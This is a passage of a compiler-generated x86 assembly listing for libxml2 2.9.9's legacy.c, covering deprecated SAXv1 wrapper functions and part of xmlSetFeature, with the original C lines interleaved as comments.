PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@getParamet: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 958 : } pop ebp ; 957 : return (xmlSAX2GetParameterEntity(ctx, name)); jmp _xmlSAX2GetParameterEntity _getParameterEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _getEntity _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _getEntity PROC ; COMDAT ; 938 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@getEntity ; 939 : DEPRECATED("getEntity") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_09NCBEBLEA@getEntity@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@getEntity: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 941 : } pop ebp ; 940 : return (xmlSAX2GetEntity(ctx, name)); jmp _xmlSAX2GetEntity _getEntity ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _externalSubset _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _ExternalID$ = 16 ; size = 4 _SystemID$ = 20 ; size = 4 _externalSubset PROC ; COMDAT ; 898 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@externalSu ; 899 : DEPRECATED("externalSubset") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0P@DJMGKJNF@externalSubset@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@externalSu: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 901 : } pop ebp ; 900 : xmlSAX2ExternalSubset(ctx, name, ExternalID, SystemID); jmp _xmlSAX2ExternalSubset _externalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _internalSubset _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _ExternalID$ = 16 ; size = 4 _SystemID$ = 20 ; size = 4 _internalSubset PROC ; COMDAT ; 880 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@internalSu ; 881 : DEPRECATED("internalSubset") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0P@OCEDHHOL@internalSubset@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@internalSu: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 883 : } pop ebp ; 882 : xmlSAX2InternalSubset(ctx, name, ExternalID, SystemID); jmp _xmlSAX2InternalSubset _internalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _hasExternalSubset _TEXT SEGMENT _ctx$ = 8 ; size = 4 _hasExternalSubset PROC ; COMDAT ; 862 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@hasExterna ; 863 : DEPRECATED("hasExternalSubset") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BC@PDLMKGBL@hasExternalSubset@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@hasExterna: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 865 : } pop ebp ; 864 : return (xmlSAX2HasExternalSubset(ctx)); jmp _xmlSAX2HasExternalSubset _hasExternalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _hasInternalSubset _TEXT SEGMENT _ctx$ = 8 ; size = 4 _hasInternalSubset PROC ; COMDAT ; 846 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@hasInterna ; 847 : DEPRECATED("hasInternalSubset") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BC@CIDJHICF@hasInternalSubset@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@hasInterna: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 849 : } pop ebp ; 848 : return (xmlSAX2HasInternalSubset(ctx)); jmp _xmlSAX2HasInternalSubset _hasInternalSubset ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _isStandalone _TEXT SEGMENT _ctx$ = 8 ; size = 4 _isStandalone PROC ; COMDAT ; 830 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@isStandalo ; 831 : DEPRECATED("isStandalone") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0N@GDKLDDLO@isStandalone@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@isStandalo: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 833 : } pop ebp ; 832 : return (xmlSAX2IsStandalone(ctx)); jmp _xmlSAX2IsStandalone _isStandalone ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _getColumnNumber _TEXT SEGMENT _ctx$ = 8 ; size = 4 _getColumnNumber PROC ; COMDAT ; 814 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@getColumnN ; 815 : DEPRECATED("getColumnNumber") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BA@MBKHJKLG@getColumnNumber@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@getColumnN: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 817 : } pop ebp ; 816 : return (xmlSAX2GetColumnNumber(ctx)); jmp _xmlSAX2GetColumnNumber _getColumnNumber ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _getLineNumber _TEXT SEGMENT _ctx$ = 8 ; size = 4 _getLineNumber PROC ; COMDAT ; 798 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@getLineNum ; 799 : DEPRECATED("getLineNumber") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0O@OCINCMPB@getLineNumber@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@getLineNum: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 801 : } pop ebp ; 800 : return (xmlSAX2GetLineNumber(ctx)); jmp _xmlSAX2GetLineNumber _getLineNumber ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _setDocumentLocator _TEXT SEGMENT _ctx$ = 8 ; size = 4 _loc$ = 12 ; size = 4 _setDocumentLocator PROC ; COMDAT mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN4@setDocumen ; 1075 : DEPRECATED("setDocumentLocator") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0BD@DHECJBOB@setDocumentLocator@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax add esp, 12 ; 0000000cH inc DWORD PTR _deprecated_v1_msg pop esi ; 1076 : } ret 0 $LN4@setDocumen: ; 1075 : DEPRECATED("setDocumentLocator") inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 1076 : } ret 0 _setDocumentLocator ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _getSystemId _TEXT SEGMENT _ctx$ = 8 ; size = 4 _getSystemId PROC ; COMDAT ; 782 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@getSystemI ; 783 : DEPRECATED("getSystemId") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0M@FFHGBOOJ@getSystemId@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@getSystemI: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 785 : } pop ebp ; 784 : return (xmlSAX2GetSystemId(ctx)); jmp _xmlSAX2GetSystemId _getSystemId ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _getPublicId _TEXT SEGMENT _ctx$ = 8 ; size = 4 _getPublicId PROC ; COMDAT ; 765 : { push ebp mov ebp, esp mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _deprecated_v1_msg test eax, eax jne SHORT $LN2@getPublicI ; 766 : DEPRECATED("getPublicId") push esi call ___xmlGenericError mov esi, eax call ___xmlGenericErrorContext push OFFSET ??_C@_0M@DAFHLKNN@getPublicId@ push OFFSET ??_C@_0CF@IBLEBJPG@Use?5of?5deprecated?5SAXv1?5functio@ push DWORD PTR [eax] mov eax, DWORD PTR [esi] call eax mov eax, DWORD PTR _deprecated_v1_msg add esp, 12 ; 0000000cH pop esi $LN2@getPublicI: inc eax mov DWORD PTR _deprecated_v1_msg, eax ; 768 : } pop ebp ; 767 : return (xmlSAX2GetPublicId(ctx)); jmp _xmlSAX2GetPublicId _getPublicId ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\legacy.c ; COMDAT _xmlSetFeature _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _name$ = 12 ; size = 4 _value$ = 16 ; size = 4 _xmlSetFeature PROC ; COMDAT ; 282 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __06F2C055_legacy@c call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _ctxt$[ebp] test edi, edi je $LN3@xmlSetFeat ; 283 : if ((ctxt == NULL) || (name == NULL) || (value == NULL)) mov esi, DWORD PTR _name$[ebp] test esi, esi je $LN3@xmlSetFeat mov ebx, DWORD PTR _value$[ebp] test ebx, ebx je $LN3@xmlSetFeat ; 284 : return (-1); ; 285 : ; 286 : if (!strcmp(name, "validate")) { mov ecx, OFFSET ??_C@_08EBLJJHKN@validate@ mov eax, esi $LL88@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN89@xmlSetFeat test dl, dl je SHORT $LN90@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN89@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL88@xmlSetFeat $LN90@xmlSetFeat: xor eax, eax jmp SHORT $LN91@xmlSetFeat $LN89@xmlSetFeat: sbb eax, eax or eax, 1 $LN91@xmlSetFeat: test eax, eax jne SHORT $LN4@xmlSetFeat ; 287 : int newvalidate = *((int *) value); ; 288 : ; 289 : if ((!ctxt->validate) && (newvalidate != 0)) { cmp DWORD PTR [edi+104], 0 mov eax, DWORD PTR [ebx] jne SHORT $LN6@xmlSetFeat test eax, eax je SHORT $LN6@xmlSetFeat ; 290 : if (ctxt->vctxt.warning == NULL) cmp DWORD PTR [edi+116], 0 jne SHORT $LN7@xmlSetFeat ; 291 : ctxt->vctxt.warning = xmlParserValidityWarning; mov DWORD PTR [edi+116], OFFSET _xmlParserValidityWarning $LN7@xmlSetFeat: ; 292 : if (ctxt->vctxt.error == NULL) cmp DWORD PTR [edi+112], 0 jne SHORT $LN8@xmlSetFeat ; 293 : ctxt->vctxt.error = xmlParserValidityError; mov DWORD PTR [edi+112], OFFSET _xmlParserValidityError $LN8@xmlSetFeat: ; 294 : ctxt->vctxt.nodeMax = 0; mov DWORD PTR [edi+128], 0 $LN6@xmlSetFeat: ; 295 : } ; 296 : ctxt->validate = newvalidate; mov DWORD PTR [edi+104], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN4@xmlSetFeat: ; 297 : } else if (!strcmp(name, "keep blanks")) { mov ecx, OFFSET ??_C@_0M@JOFGOHIP@keep?5blanks@ mov eax, esi $LL92@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN93@xmlSetFeat test dl, dl je SHORT $LN94@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN93@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL92@xmlSetFeat $LN94@xmlSetFeat: xor eax, eax jmp SHORT $LN95@xmlSetFeat $LN93@xmlSetFeat: sbb eax, eax or eax, 1 $LN95@xmlSetFeat: test eax, eax jne SHORT $LN9@xmlSetFeat ; 298 : ctxt->keepBlanks = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+208], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN9@xmlSetFeat: ; 299 : } else if (!strcmp(name, "disable SAX")) { mov ecx, OFFSET ??_C@_0M@EPCDMNHL@disable?5SAX@ mov eax, esi $LL96@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN97@xmlSetFeat test dl, dl je SHORT $LN98@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN97@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL96@xmlSetFeat $LN98@xmlSetFeat: xor eax, eax jmp SHORT $LN99@xmlSetFeat $LN97@xmlSetFeat: sbb eax, eax or eax, 1 $LN99@xmlSetFeat: test eax, eax jne SHORT $LN11@xmlSetFeat ; 300 : ctxt->disableSAX = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+212], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN11@xmlSetFeat: ; 301 : } else if (!strcmp(name, "fetch external entities")) { mov ecx, OFFSET ??_C@_0BI@NFNCEEMJ@fetch?5external?5entities@ mov eax, esi $LL100@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN101@xmlSetFeat test dl, dl je SHORT $LN102@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN101@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL100@xmlSetFeat $LN102@xmlSetFeat: xor eax, eax jmp SHORT $LN103@xmlSetFeat $LN101@xmlSetFeat: sbb eax, eax or eax, 1 $LN103@xmlSetFeat: test eax, eax jne SHORT $LN13@xmlSetFeat ; 302 : ctxt->loadsubset = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+276], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN13@xmlSetFeat: ; 303 : } else if (!strcmp(name, "substitute entities")) { mov ecx, OFFSET ??_C@_0BE@MFJOLEGC@substitute?5entities@ mov eax, esi npad 1 $LL104@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN105@xmlSetFeat test dl, dl je SHORT $LN106@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN105@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL104@xmlSetFeat $LN106@xmlSetFeat: xor eax, eax jmp SHORT $LN107@xmlSetFeat $LN105@xmlSetFeat: sbb eax, eax or eax, 1 $LN107@xmlSetFeat: test eax, eax jne SHORT $LN15@xmlSetFeat ; 304 : ctxt->replaceEntities = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+16], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN15@xmlSetFeat: ; 305 : } else if (!strcmp(name, "gather line info")) { mov ecx, OFFSET ??_C@_0BB@FNGHLMDK@gather?5line?5info@ mov eax, esi npad 4 $LL108@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN109@xmlSetFeat test dl, dl je SHORT $LN110@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN109@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL108@xmlSetFeat $LN110@xmlSetFeat: xor eax, eax jmp SHORT $LN111@xmlSetFeat $LN109@xmlSetFeat: sbb eax, eax or eax, 1 $LN111@xmlSetFeat: test eax, eax jne SHORT $LN17@xmlSetFeat ; 306 : ctxt->record_info = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+68], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN17@xmlSetFeat: ; 307 : } else if (!strcmp(name, "user data")) { mov ecx, OFFSET ??_C@_09OBFNJHCP@user?5data@ mov eax, esi npad 4 $LL112@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN113@xmlSetFeat test dl, dl je SHORT $LN114@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN113@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL112@xmlSetFeat $LN114@xmlSetFeat: xor eax, eax jmp SHORT $LN115@xmlSetFeat $LN113@xmlSetFeat: sbb eax, eax or eax, 1 $LN115@xmlSetFeat: test eax, eax jne SHORT $LN19@xmlSetFeat ; 308 : ctxt->userData = *((void **) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+4], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN19@xmlSetFeat: ; 309 : } else if (!strcmp(name, "is html")) { mov ecx, OFFSET ??_C@_07ELANCDBJ@is?5html@ mov eax, esi npad 4 $LL116@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN117@xmlSetFeat test dl, dl je SHORT $LN118@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN117@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL116@xmlSetFeat $LN118@xmlSetFeat: xor eax, eax jmp SHORT $LN119@xmlSetFeat $LN117@xmlSetFeat: sbb eax, eax or eax, 1 $LN119@xmlSetFeat: test eax, eax jne SHORT $LN21@xmlSetFeat ; 310 : ctxt->html = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+32], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN21@xmlSetFeat: ; 311 : } else if (!strcmp(name, "is standalone")) { mov ecx, OFFSET ??_C@_0O@NMMOLLEF@is?5standalone@ mov eax, esi npad 4 $LL120@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN121@xmlSetFeat test dl, dl je SHORT $LN122@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN121@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL120@xmlSetFeat $LN122@xmlSetFeat: xor eax, eax jmp SHORT $LN123@xmlSetFeat $LN121@xmlSetFeat: sbb eax, eax or eax, 1 $LN123@xmlSetFeat: test eax, eax jne SHORT $LN23@xmlSetFeat ; 312 : ctxt->standalone = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+28], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN23@xmlSetFeat: ; 313 : } else if (!strcmp(name, "document")) { mov ecx, OFFSET ??_C@_08JEEDKNPB@document@ mov eax, esi npad 4 $LL124@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN125@xmlSetFeat test dl, dl je SHORT $LN126@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN125@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL124@xmlSetFeat $LN126@xmlSetFeat: xor eax, eax jmp SHORT $LN127@xmlSetFeat $LN125@xmlSetFeat: sbb eax, eax or eax, 1 $LN127@xmlSetFeat: test eax, eax jne SHORT $LN25@xmlSetFeat ; 314 : ctxt->myDoc = *((xmlDocPtr *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+8], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN25@xmlSetFeat: ; 315 : } else if (!strcmp(name, "is well formed")) { mov ecx, OFFSET ??_C@_0P@NEKMCKKP@is?5well?5formed@ mov eax, esi npad 4 $LL128@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN129@xmlSetFeat test dl, dl je SHORT $LN130@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN129@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL128@xmlSetFeat $LN130@xmlSetFeat: xor eax, eax jmp SHORT $LN131@xmlSetFeat $LN129@xmlSetFeat: sbb eax, eax or eax, 1 $LN131@xmlSetFeat: test eax, eax jne SHORT $LN27@xmlSetFeat ; 316 : ctxt->wellFormed = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+12], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN27@xmlSetFeat: ; 317 : } else if (!strcmp(name, "is valid")) { mov ecx, OFFSET ??_C@_08EKBKNFNH@is?5valid@ mov eax, esi npad 4 $LL132@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN133@xmlSetFeat test dl, dl je SHORT $LN134@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN133@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL132@xmlSetFeat $LN134@xmlSetFeat: xor eax, eax jmp SHORT $LN135@xmlSetFeat $LN133@xmlSetFeat: sbb eax, eax or eax, 1 $LN135@xmlSetFeat: test eax, eax jne SHORT $LN29@xmlSetFeat ; 318 : ctxt->valid = *((int *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi+100], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN29@xmlSetFeat: ; 319 : } else if (!strcmp(name, "SAX block")) { mov ecx, OFFSET ??_C@_09HIOCHIDE@SAX?5block@ mov eax, esi npad 4 $LL136@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN137@xmlSetFeat test dl, dl je SHORT $LN138@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN137@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL136@xmlSetFeat $LN138@xmlSetFeat: xor eax, eax jmp SHORT $LN139@xmlSetFeat $LN137@xmlSetFeat: sbb eax, eax or eax, 1 $LN139@xmlSetFeat: test eax, eax jne SHORT $LN31@xmlSetFeat ; 320 : ctxt->sax = *((xmlSAXHandlerPtr *) value); mov eax, DWORD PTR [ebx] mov DWORD PTR [edi], eax ; 382 : } else { ; 383 : return (-1); ; 384 : } ; 385 : return (0); xor eax, eax pop edi ; 386 : } pop esi pop ebx pop ebp ret 0 $LN31@xmlSetFeat: ; 321 : } else if (!strcmp(name, "SAX function internalSubset")) { mov ecx, OFFSET ??_C@_0BM@OCAFNLBC@SAX?5function?5internalSubset@ mov eax, esi npad 5 $LL140@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN141@xmlSetFeat test dl, dl je SHORT $LN142@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN141@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL140@xmlSetFeat $LN142@xmlSetFeat: xor eax, eax jmp SHORT $LN143@xmlSetFeat $LN141@xmlSetFeat: sbb eax, eax or eax, 1 $LN143@xmlSetFeat: test eax, eax jne SHORT $LN33@xmlSetFeat ; 322 : ctxt->sax->internalSubset = *((internalSubsetSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 386 : } pop esi mov DWORD PTR [ecx], eax xor eax, eax pop ebx pop ebp ret 0 $LN33@xmlSetFeat: ; 323 : } else if (!strcmp(name, "SAX function isStandalone")) { mov ecx, OFFSET ??_C@_0BK@KGOMEKBB@SAX?5function?5isStandalone@ mov eax, esi npad 3 $LL144@xmlSetFeat: mov dl, BYTE PTR [eax] cmp dl, BYTE PTR [ecx] jne SHORT $LN145@xmlSetFeat test dl, dl je SHORT $LN146@xmlSetFeat mov dl, BYTE PTR [eax+1] cmp dl, BYTE PTR [ecx+1] jne SHORT $LN145@xmlSetFeat add eax, 2 add ecx, 2 test dl, dl jne SHORT $LL144@xmlSetFeat $LN146@xmlSetFeat: xor eax, eax jmp SHORT $LN147@xmlSetFeat $LN145@xmlSetFeat: sbb eax, eax or eax, 1 $LN147@xmlSetFeat: test eax, eax jne SHORT $LN35@xmlSetFeat ; 324 : ctxt->sax->isStandalone = *((isStandaloneSAXFunc *) value); mov ecx, DWORD PTR [edi] mov eax, DWORD PTR [ebx] pop edi ; 